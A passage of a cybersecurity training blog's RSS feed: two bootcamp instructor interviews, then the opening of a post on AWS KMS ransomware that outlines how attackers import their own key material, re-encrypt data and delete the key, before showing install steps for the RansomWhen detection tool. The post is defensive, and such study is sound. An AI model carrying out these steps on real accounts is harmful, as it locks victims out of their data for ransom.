&lt;p style="font-size: 18px;"&gt;&lt;br&gt;I really enjoy teaching and mentoring. I’ve always liked helping people get where they want to be. This is new for me, teaching online to hundreds of people, but it’s incredibly rewarding. I’m constantly evolving the material, adding visuals, context, and new attack vectors. The goal is to keep things current, useful, and practical.&lt;br&gt;&lt;br&gt;&lt;span style="color: #ffffff;"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 24px; font-weight: normal;"&gt;How do you see the bootcamp evolving?&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;br&gt;The landscape is always shifting - new threats, tools, and techniques. I’ve already tweaked the content from the last round and will keep doing that. Staying up to date is non-negotiable if we want to teach real-world skills.&lt;br&gt;&lt;br&gt;&lt;span style="color: #ffffff;"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 24px; font-weight: normal;"&gt;Any advice for veterans transitioning into cybersecurity?&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;br&gt;Yeah, first, take advantage of the many resources out there specifically for veterans. There are great Slack groups, transition programs, and companies that want to help. Second, stay open-minded. Your first job might not be your dream job, but it's a stepping stone. Third, be ready to learn constantly. The field moves fast, and you need to keep up. Also, don’t fall for the hype that one bootcamp will guarantee you a job. Getting in is one thing. Staying in and thriving takes work.&lt;br&gt;&lt;br&gt;(Note: Pwned Labs also offers 50% off cloud security bootcamps and subscriptions to veterans and active service members. Just fill in the&lt;span style="color: #ec38bc;"&gt; &lt;a href="https://docs.google.com/forms/d/e/1FAIpQLSdKMTINHs5H9ODX5ELxi4t9J-BqROwuxaaiukayRzI6PahC-Q/viewform?usp=header" style="color: #ec38bc;"&gt;form&lt;/a&gt;&lt;/span&gt; and we'll be in touch!)&lt;br&gt;&lt;br&gt;&lt;span style="color: #ffffff;"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 24px; font-weight: normal;"&gt;Any regrets or things you’d do differently?&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;br&gt;Honestly, I wouldn’t change much. The military shaped who I am today. I did try management for a bit, and while I liked mentoring, I missed being hands-on. Now I’m back in engineering, and that’s where I thrive.&lt;br&gt;&lt;br&gt;&lt;span style="color: #ffffff;"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 24px; font-weight: normal;"&gt;Final thoughts?&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;If there’s one thing I’d tell anyone getting started - get involved in the community. Most of what I’ve done with Pwned Labs and beyond started with just engaging on LinkedIn and Discord. You don’t need a huge personal brand. You just need to show up, contribute, and help others. That’s where the real opportunities come from.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color: #ffffff;"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-weight: normal; font-size: 24px;"&gt;Great to chat Tyler! &#x1f60e;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;strong&gt;Tyler will be leading the Amazon Cloud Attack and Defense bootcamp, starting June 7th. &lt;/strong&gt;You can find out more about the bootcamp here:&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;span style="color: #ec38bc;"&gt;&lt;a href="https://bootcamps.pwnedlabs.io/acrtp-bootcamp" style="color: #ec38bc;"&gt;https://bootcamps.pwnedlabs.io/acrtp-bootcamp&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt;  
&lt;img src="https://track-eu1.hubspot.com/__ptq.gif?a=27219020&amp;amp;k=14&amp;amp;r=https%3A%2F%2Fblog.pwnedlabs.io%2Fmeet-your-acrtp-bootcamp-instructor-tyler-petty&amp;amp;bu=https%253A%252F%252Fblog.pwnedlabs.io&amp;amp;bvt=rss" alt="" width="1" height="1" style="min-height:1px!important;width:1px!important;border-width:0!important;margin-top:0!important;margin-bottom:0!important;margin-right:0!important;margin-left:0!important;padding-top:0!important;padding-bottom:0!important;padding-right:0!important;padding-left:0!important; "&gt;</content:encoded>
      <category>AWS</category>
      <category>Bootcamps</category>
      <category>Pwned Labs Experts</category>
      <pubDate>Tue, 20 May 2025 10:00:00 GMT</pubDate>
      <guid>https://blog.pwnedlabs.io/meet-your-acrtp-bootcamp-instructor-tyler-petty</guid>
      <dc:date>2025-05-20T10:00:00Z</dc:date>
      <dc:creator>Rob Alport</dc:creator>
    </item>
    <item>
      <title>Meet your MCRTP Bootcamp instructor: Filip Jodoin</title>
      <link>https://blog.pwnedlabs.io/meet-your-mcrtp-bootcamp-instructor-filip-jodoin</link>
      <description>&lt;div class="hs-featured-image-wrapper"&gt; 
 &lt;a href="https://blog.pwnedlabs.io/meet-your-mcrtp-bootcamp-instructor-filip-jodoin" title="" class="hs-featured-image-link"&gt; &lt;img src="https://blog.pwnedlabs.io/hubfs/LinkedIn%20post%20-%20Meet%20Filip%20Jodoin%20(1).png" alt="Meet your MCRTP Bootcamp instructor: Filip Jodoin" class="hs-featured-image" style="width:auto !important; max-width:50%; float:left; margin:0 15px 15px 0;"&gt; &lt;/a&gt; 
&lt;/div&gt; 
&lt;p style="font-size: 20px; font-weight: normal;"&gt;We sat down with &lt;a href="https://www.linkedin.com/in/filip-jodoin/"&gt;Filip Jodoin&lt;/a&gt;, Penetration Tester and Pwned Labs instructor, to find out more about his cybersecurity journey, and what he enjoys when he steps out from the office!&lt;/p&gt;</description>
      <content:encoded>&lt;p style="font-size: 20px; font-weight: normal;"&gt;We sat down with &lt;a href="https://www.linkedin.com/in/filip-jodoin/"&gt;Filip Jodoin&lt;/a&gt;, Penetration Tester and Pwned Labs instructor, to find out more about his cybersecurity journey, and what he enjoys when he steps out from the office!&lt;/p&gt;  
&lt;p style="font-size: 24px; font-weight: normal;"&gt;&lt;span style="color: #ffffff;"&gt;&lt;br&gt;So tell us a bit more about who Filip is!&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;Well, I’m a half Swedish, half French-Canadian kiwi who lives in Montreal. I am a member of the Ordre des Ingénieurs du Québec (OIQ) and work as an ethical hacker at &lt;span style="color: #ec38bc;"&gt;&lt;a href="https://www.packetlabs.net/" style="color: #ec38bc;"&gt;Packetlabs&lt;/a&gt;&lt;/span&gt;, leading the Microsoft Cloud penetration testing services. I am looking forward to leading the next &lt;span style="color: #ec38bc;"&gt;&lt;a href="https://bootcamps.pwnedlabs.io/mcrtp-bootcamp" style="color: #ec38bc;"&gt;Microsoft Cloud Attack and Defense bootcamp&lt;/a&gt;&lt;/span&gt; with Pwned Labs in May.&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 24px; font-weight: normal;"&gt;How did you become an ethical hacker? Did you always know you wanted to work in cybersecurity, or did it happen more by chance?&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;Haha, a very good question! My dad is an electrical engineer, and I’ve always had a mentality of wanting to find out how things work. So, following in my father’s footsteps, at university, I trained as an engineer as well; a computer hardware engineer. Whilst I was studying alongside software engineers, I learned a bit about the risks of code security, but it was when I came across an article on CPU abuse, that I literally was knocked off my chair, and needed to learn more, so I jumped down the rabbit-hole! From there I was fortunate to gain a role in the government as a cybersecurity analyst, before moving into the private sector and continuing to grow and expand as an ethical hacker.&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 24px; font-weight: normal;"&gt;Cybersecurity can be pretty intense - how do you manage your workload and avoid burnout?&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;This is really important - it’s very easy to go down the different rabbit holes to indulge your curiosities, and one of the most important skills I’ve developed (as someone who is chronically curious) is how to manage your time. Because of the work that I do, it’s not just about spending hours or days on one project, but having to manage multiple clients and projects, and so I break my day up into two-hour blocks to ensure that I’m spending my time efficiently.&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;Whilst moving from different projects helps keep the brain fresh, it’s also vital to be able to step away from the screen and enjoy some time offline. I’m fortunate to have family and friends close by, and we often connect over food and company. I also enjoy exercising, either in the gym or climbing, and I like to learn new things by listening to audio books, whether that’s history, finance, politics, etc.. For me, so far, swapping between mental and physical activities has helped avoid cyber-burnout!&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 24px; font-weight: normal;"&gt;What led you to be the lead instructor for the MCRTP bootcamp?&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;I've always loved sharing knowledge, whether that’s in-person or online, having the opportunity to help others gain cloud skills is a perfect opportunity to push myself to the next level. I was a Teaching Assistant at university, and since then I’ve led a number of training sessions across different companies on cyber security topics, so when I got involved with Pwned Labs, initially as a community member, and more recently supporting some of the sessions in the Discord, it seemed a perfect fit.&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 24px; font-weight: normal;"&gt;How will the experience of the MCRTP bootcamp differ from previous sessions?&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;For a start, it will be building on the great work that Ian and the team have been doing. It will include relevant Microsoft Cloud Updates, such as Entra Session IDs on tokens, and go deeper into more of the theory to help people understand more of the “why”. This is not to say that it’s been lacking in the past, but due to time constraints, a lot of these more theoretical conversations took place in Discord, and that could have led to people missing them as the thread could be buried deep by the time they come back online - by bringing these into the main sessions, hopefully everyone will get the full experience. Due to this, what you may notice though, is that the session will probably end up running a bit longer, so we’ll be having to manage time effectively!&amp;nbsp;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 24px; font-weight: normal;"&gt;Final question - looking ahead, how do you see cloud security evolving over the next few years, and where do you see yourself fitting into that future?&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;Well if I knew this, it would take most of the fun out of it! Seriously though, it is so difficult to be able to say with any certainty what’s coming as this industry moves so fast. The things that I think we’ll need to focus on are:&lt;/p&gt; 
&lt;p style="font-size: 18px; padding-left: 40px;"&gt;1. Cloud is only going to grow, and we should expect more organisations to require the skills to manage their instances. However, tied into this we are likely to see a massive increase in multi-cloud architectures, which is going to deliver a whole new set of challenges for businesses, as cyber teams are going to need to have deep expertise across multiple areas, and a breadth of knowledge required that ensures you are protected.&lt;/p&gt; 
&lt;p style="font-size: 18px; padding-left: 40px;"&gt;2. Obviously AI is going to heavily impact the future of cyber - whether it becomes a never-ending cat and mouse of red vs. blue AI agents, highly convincing social engineering powered by AI agents, or whether there are new attack paths the agents could devise. What is critical is that businesses are able to move fast to meet these new threats and protect themselves. For example, I recently dabbled with a new graphing tool which can leverage AI Agents and recommends different potential attack paths to test as part of a pentest - and these are only going to get more powerful!&lt;/p&gt; 
&lt;p style="font-size: 18px; padding-left: 40px;"&gt;3. The final piece that looks likely to become more of a focus is 3rd party and supply chain attacks (think about the &lt;span style="color: #ec38bc;"&gt;&lt;a href="https://www.openwall.com/lists/oss-security/2024/03/29/4" style="color: #ec38bc;"&gt;2024 xz backdoor&lt;/a&gt;&lt;/span&gt;). If we see that core businesses are becoming better protected through the use of better training, AI agents and more stringent platform configuration settings, today’s attack paths may no longer be viable. Launching a third-party supply chain attack may become the most likely point of entry. In any case, humans remain the weakest link, and with AI-powered social engineering, phishing will become a daily occurrence - let's just hope our tokens are truly phishing-resistant!&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-weight: normal; font-size: 24px;"&gt;Thanks Filip! &#x1f60e;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;strong&gt;Filip will be leading the Microsoft Cloud Attack and Defense bootcamp, starting May 3rd. &lt;/strong&gt;You can find out more about the MCRTP bootcamp here:&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;span style="color: #ec38bc;"&gt;&lt;a href="https://bootcamps.pwnedlabs.io/mcrtp-bootcamp" style="color: #ec38bc;"&gt;https://bootcamps.pwnedlabs.io/mcrtp-bootcamp&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt;  
&lt;img src="https://track-eu1.hubspot.com/__ptq.gif?a=27219020&amp;amp;k=14&amp;amp;r=https%3A%2F%2Fblog.pwnedlabs.io%2Fmeet-your-mcrtp-bootcamp-instructor-filip-jodoin&amp;amp;bu=https%253A%252F%252Fblog.pwnedlabs.io&amp;amp;bvt=rss" alt="" width="1" height="1" style="min-height:1px!important;width:1px!important;border-width:0!important;margin-top:0!important;margin-bottom:0!important;margin-right:0!important;margin-left:0!important;padding-top:0!important;padding-bottom:0!important;padding-right:0!important;padding-left:0!important; "&gt;</content:encoded>
      <category>Azure</category>
      <category>Bootcamps</category>
      <category>Pwned Labs Experts</category>
      <pubDate>Fri, 25 Apr 2025 11:29:49 GMT</pubDate>
      <guid>https://blog.pwnedlabs.io/meet-your-mcrtp-bootcamp-instructor-filip-jodoin</guid>
      <dc:date>2025-04-25T11:29:49Z</dc:date>
      <dc:creator>Rob Alport</dc:creator>
    </item>
    <item>
      <title>RansomWhen: The Hidden Risks of AWS KMS in Ransomware Attacks</title>
      <link>https://blog.pwnedlabs.io/ransomwhen-the-hidden-risks-of-aws-kms-in-ransomware-attacks</link>
      <description>&lt;div class="hs-featured-image-wrapper"&gt; 
 &lt;a href="https://blog.pwnedlabs.io/ransomwhen-the-hidden-risks-of-aws-kms-in-ransomware-attacks" title="" class="hs-featured-image-link"&gt; &lt;img src="https://blog.pwnedlabs.io/hubfs/ransomware_attacks.png" alt="RansomWhen: The Hidden Risks of AWS KMS in Ransomware Attacks" class="hs-featured-image" style="width:auto !important; max-width:50%; float:left; margin:0 15px 15px 0;"&gt; &lt;/a&gt; 
&lt;/div&gt; 
&lt;p style="font-size: 18px; text-align: left; line-height: 1.5; font-weight: normal;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br&gt;&lt;br&gt;Disclaimer&lt;/span&gt;: The information in this blog post is provided for educational and informational purposes only. We do not endorse, promote, or support any malicious activities, including hacking, unauthorized access, or exploiting vulnerabilities. Defenders are encouraged to use the knowledge shared here to strengthen security practices and increase the resilience of their environments against potential ransomware threats.&lt;/p&gt;</description>
      <content:encoded>&lt;p style="font-size: 18px; text-align: left; line-height: 1.5; font-weight: normal;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br&gt;&lt;br&gt;Disclaimer&lt;/span&gt;: The information in this blog post is provided for educational and informational purposes only. We do not endorse, promote, or support any malicious activities, including hacking, unauthorized access, or exploiting vulnerabilities. Defenders are encouraged to use the knowledge shared here to strengthen security practices and increase the resilience of their environments against potential ransomware threats.&lt;/p&gt;  
&lt;div style="background-color: #f0f4f8; border-left: 4px solid #1a73e8; padding: 20px; margin: 20px 0; font-size: 16px; line-height: 1.6;"&gt;
 &lt;span style="color: #000000;"&gt;&lt;strong&gt;Key Takeaway:&lt;/strong&gt; Attackers can exploit AWS KMS Bring Your Own Key Material (BYOKM) to upload their own encryption keys, re-encrypt all victim data, then delete the key material to execute ransomware attacks - making encrypted resources permanently inaccessible until a ransom is paid.&lt;/span&gt;
&lt;/div&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&amp;nbsp;&lt;/p&gt; 
&lt;h1 style="font-size: 32px;"&gt;&lt;span&gt;Introduction&amp;nbsp; &#x1f329;️&lt;/span&gt;&lt;/h1&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&lt;span style="background-color: transparent;"&gt;&lt;br&gt;As organizations increasingly migrate their workloads to the cloud, data security remains a shared responsibility between cloud service providers (CSPs) and their customers. A cornerstone of cloud security is encryption, which ensures that sensitive data remains confidential, tamper-proof, and accessible only to authorized users. Over time, encryption key management has evolved significantly, shifting from traditional on-premises hardware security modules (HSMs) to cloud-native Key Management Services (KMS) offered by major CSPs.&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-weight: normal; line-height: 1.5; font-size: 18px; text-align: left;"&gt;Among these, &lt;span style="font-weight: bold;"&gt;AWS Key Management Service (AWS KMS)&lt;/span&gt; has become a widely adopted solution, providing centralized control over encryption keys with seamless integration into AWS cloud services. It enables users to generate, store, and manage cryptographic keys securely, ensuring that data at rest and in transit is protected across AWS environments. With fine-grained access controls via AWS Identity and Access Management (IAM), automated key rotation, and logging through AWS CloudTrail, AWS KMS can help organizations meet compliance or regulatory requirements and adhere to security best practices.&lt;/p&gt; 
&lt;p style="font-weight: normal; line-height: 1.5; font-size: 18px; text-align: left;"&gt;It is particularly valuable for securing services such as S3 buckets, RDS databases, EBS volumes, Lambda functions, and other AWS services that require encryption. Supporting both AWS-managed keys and customer-managed keys (CMKs), KMS provides flexibility for enforcing security policies. Additionally, AWS integrates KMS with hardware security modules (HSMs) via AWS CloudHSM, offering FIPS 140-2 Level 3 validated security for highly regulated industries.&lt;/p&gt; 
&lt;p style="text-align: left; font-size: 18px; line-height: 1.5;"&gt;However, while AWS KMS&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;span style="font-weight: normal;"&gt;enhances cloud security, it can also present risks if not properly configured.&lt;span style="font-size: 18px;"&gt; Chris Farris' blog (since revised) on &lt;a href="https://link.mail.beehiiv.com/ss/c/u001.-QQnKmN9995ElcpR565Sh7kJ3xP5lyDhz_td35AH_MbcoikJpxeigPqteDWga2vlrntGApBQAbDLDXEjRX7bEzyCvgowAaOSVv8hxCAMz6U85vL2XWXtGE-1T_8bkkVvViu9PqfT6Vjr9wMIN88wEt_lSukt6m9z4z7tyQJjvtfC9TZ9n1euouIPxtKzyg7YykQOcnTRWUIL3MrBttik95y8jQuhiFRHCKCGtiCKgl3-rkDlA39fcX6qZ_l49tIQCwzDFHnMkuQa2WvbLQSql04VWGNC_HlP7Nr0ynv5b2nxNZjFDVG4LEGG_aWwMI9oE_8KiHeD77Sshrg96PDlUA/4bg/8ogolD-CRc-I4_lJiZCDFA/h14/h001.DHaxcAS_vRbiWNhTAMdSd1mwgMBprRCVst07rDjj5ac"&gt;Effective Techniques for AWS Ransomware&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;highlighted an attack method targeting AWS resources using KMS with external key material.&amp;nbsp;&lt;/p&gt; 
&lt;p style="text-align: left; font-size: 17px; line-height: 1.5;"&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Mar-09-2025-09-43-15-2110-PM.png?width=2418&amp;amp;height=876&amp;amp;name=image-png-Mar-09-2025-09-43-15-2110-PM.png" width="2418" height="876"&gt;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5; font-size: 16px;"&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="color: #eeeeee;"&gt;Figure 1.1: Screenshot from&lt;/span&gt; &lt;a href="https://www.chrisfarris.com/post/effective-aws-ransomware/"&gt;https://www.chrisfarris.com/post/effective-aws-ransomware/&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="text-align: left; font-size: 17px; line-height: 1.5;"&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="text-align: left; font-size: 17px; line-height: 1.5;"&gt;&lt;span style="font-size: 18px;"&gt;Two methods were highlighted that arguably neither AWS nor the legal system can prevent:&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;ul style="text-align: left; font-size: 17px; line-height: 1.5;"&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="color: #ec38bc;"&gt;External Key Store (XKS) Exploitation&lt;/span&gt;: Attackers can use XKS to store encryption keys outside AWS KMS, but this method is complex, difficult to scale, and risky as it requires restoring external infrastructure, increasing detection chances.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="color: #ec38bc;"&gt;Bring Your Own Key Material (BYOKM) Exploitation&lt;/span&gt;: Attackers generate and upload their own key material to AWS KMS, then delete it to make encrypted data inaccessible, effectively holding it hostage until the threat actor's key is re-uploaded.&lt;/span&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p style="text-align: left; font-size: 17px; line-height: 1.5;"&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;The second method, &lt;span style="font-weight: normal;"&gt;Bring Your Own Key Material (BYOKM)&amp;nbsp;&lt;/span&gt;has been observed in the wild, with threat actors leveraging AWS KMS to encrypt victim data for ransom. This method allows threat actors to gain control over encryption keys and effectively lock victims out of their own resources.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&lt;/p&gt; 
&lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;&lt;span&gt;Steps in the BYOKM Attack Process &#x1f510;&lt;/span&gt;&lt;/h2&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&amp;nbsp;&lt;/p&gt; 
&lt;ol style="text-align: left; line-height: 1.5; font-size: 18px;"&gt; 
 &lt;li style="text-align: left;"&gt;Generate Key Material: The attacker creates KMS key material externally.&lt;/li&gt; 
 &lt;li style="text-align: left;"&gt;Upload Malicious Key Material: Using a compromised victim AWS account with full KMS permissions, the attacker executes &lt;span style="font-size: 20px;"&gt;&lt;code&gt;ImportKeyMaterial&lt;/code&gt;&lt;/span&gt;, uploading their own encryption keys into the victim’s AWS account and replicating them across all regions.&lt;/li&gt; 
 &lt;li style="text-align: left;"&gt;Re-encrypt Data with Attacker’s Keys: The attacker replaces existing keys with the imported BYOKM key and re-encrypts all critical data, ensuring that only they have the decryption capability.&lt;/li&gt; 
 &lt;li style="text-align: left;"&gt;Execute the Ransom Attack: At the chosen moment, the attacker deletes the key material using &lt;span style="font-size: 20px;"&gt;&lt;code&gt;DeleteImportedKeyMaterial&lt;/code&gt;&lt;/span&gt;, making the victim's encrypted resources completely inaccessible.&lt;/li&gt; 
&lt;/ol&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 18px;"&gt;In another article - &lt;a href="https://medium.com/@harsh8v/redefining-ransomware-attacks-on-aws-using-aws-kms-xks-dea668633802"&gt;Redefining Ransomware Attacks on AWS using AWS KMS XKS,&lt;/a&gt;&amp;nbsp;- &lt;a href="https://medium.com/@harsh8v?source=post_page---byline--dea668633802--------------------------------"&gt;Harsh Varagiya&lt;/a&gt; explores how threat actors may exploit AWS's External Key Store (XKS) to enhance ransomware attacks. XKS allows AWS services to use encryption keys stored outside AWS, enabling encryption for over 100 services, including Amazon EBS and S3, without modifying existing configurations. Attackers can leverage this by encrypting data with external keys, rendering it inaccessible to victims unless a ransom is paid. This method complicates detection and prevention, as it relies on the victim's infrastructure and the flexibility of AWS's encryption capabilities.&lt;/span&gt;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&amp;nbsp;&lt;/p&gt; 
&lt;h2 style="font-size: 36px; font-weight: bold; margin: .67em 0; text-align: left; line-height: 1.5;"&gt;&lt;span&gt;Attack Path Detection using&amp;nbsp;&lt;/span&gt;&lt;span&gt;RansomWhen ⏳&lt;/span&gt;&lt;/h2&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 17px;"&gt;&lt;span style="font-size: 18px;"&gt;In an effort to enhance detection capabilities and help defenders identify ransomware attack paths, &lt;a href="https://permiso.io/"&gt;Permiso Security’s&lt;/a&gt; P0 Labs research team has developed an open-source tool named &lt;a href="https://github.com/Permiso-io-tools/RansomWhen"&gt;RansomWhen&lt;/a&gt;. This Python-based tool is designed to help defenders detect KMS-based ransomware attacks within a specific AWS account through CloudTrail log analysis. Additionally, it can be used to proactively enumerate identities with permissions to use KMS keys in ways that could encrypt or restrict access to data stored in an S3 bucket. Better defenders run this tool in their own account before threat actors do!&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 17px;"&gt;&lt;span style="font-size: 18px;"&gt;RansomWhen allows defenders to&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;ul style="text-align: left; font-size: 18px; line-height: 1.5;"&gt; 
 &lt;li&gt;Identify Overly Permissive IAM Roles &amp;amp; Users&lt;/li&gt; 
 &lt;li&gt;Detect Suspicious KMS Encryption Events&lt;/li&gt; 
 &lt;li&gt;Proactively Audit KMS Key Misuse Risks&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 18px;"&gt;&#x1f3af; We'll now investigate a scenario where&amp;nbsp; we suspect that an attacker has compromised a victim’s AWS account, imported a Customer Master Key (CMK), encrypted S3 buckets and then deleted the CMKs to render the data inaccessible. We'll use RansomWhen to enumerate "risky" identities and also to detect suspicious KMS events.&lt;/span&gt;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 18px;"&gt;Let’s begin!&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;&lt;span&gt;Install RansomWhen&amp;nbsp; &#x1f41a;&lt;/span&gt;&lt;/h2&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5; font-weight: normal; font-size: 20px;"&gt;&lt;code&gt;&lt;span style="color: #7303c0;"&gt;$&lt;/span&gt; git clone https://github.com/permiso-security/RansomWhen.git&lt;br&gt;&lt;span style="color: #7303c0;"&gt;$&lt;/span&gt; cd RansomWhen&lt;br&gt;&lt;span style="color: #7303c0;"&gt;$&lt;/span&gt; python3 -m venv venv&lt;br&gt;&lt;span style="color: #7303c0;"&gt;$&lt;/span&gt; source venv/bin/activate &amp;nbsp;&lt;span style="color: #7303c0;"&gt;# For Linux/macOS&lt;/span&gt;&lt;br&gt;&lt;span style="color: #7303c0;"&gt;$&lt;/span&gt; venv\Scripts\activate &amp;nbsp; &amp;nbsp; &lt;span style="color: #7303c0;"&gt;# For Windows&lt;/span&gt;&lt;br&gt;&lt;span style="color: #7303c0;"&gt;$&lt;/span&gt; pip install -r requirements.txt&amp;nbsp;&lt;/code&gt;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Feb-26-2025-11-20-33-3055-AM.png?width=2048&amp;amp;height=1284&amp;amp;name=image-png-Feb-26-2025-11-20-33-3055-AM.png" width="2048" height="1284"&gt;&lt;/p&gt; 
&lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;&amp;nbsp;&lt;/h2&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 17px;"&gt;&lt;span style="font-size: 18px;"&gt;Then configure the AWS CLI profile using the command &lt;span style="font-size: 17px;"&gt;&lt;span style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;aws configure&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;/span&gt; . We can use an IAM user with admin permissions in the AWS environment, or in line with the principal of least privilege, an IAM user that is assigned the following permissions:&lt;br&gt;&lt;/span&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="font-size: 17px;"&gt;&lt;span style="font-size: 18px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;ul&gt; 
 &lt;li style="text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 17px;"&gt;&lt;span style="font-size: 18px;"&gt;iam:ListUsers&lt;/span&gt;&lt;/span&gt;&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 17px;"&gt;&lt;span style="font-size: 18px;"&gt;iam:GetUser&lt;/span&gt;&lt;/span&gt;&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 17px;"&gt;&lt;span style="font-size: 18px;"&gt;iam:ListUserPolicies&lt;/span&gt;&lt;/span&gt;&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 17px;"&gt;&lt;span style="font-size: 18px;"&gt;iam:ListAttachedUserPolicies&lt;/span&gt;&lt;/span&gt;&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 17px;"&gt;&lt;span style="font-size: 18px;"&gt;iam:ListGroupsForUser&lt;/span&gt;&lt;/span&gt;&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 17px;"&gt;&lt;span style="font-size: 18px;"&gt;iam:ListGroupPolicies&lt;/span&gt;&lt;/span&gt;&lt;/li&gt; 
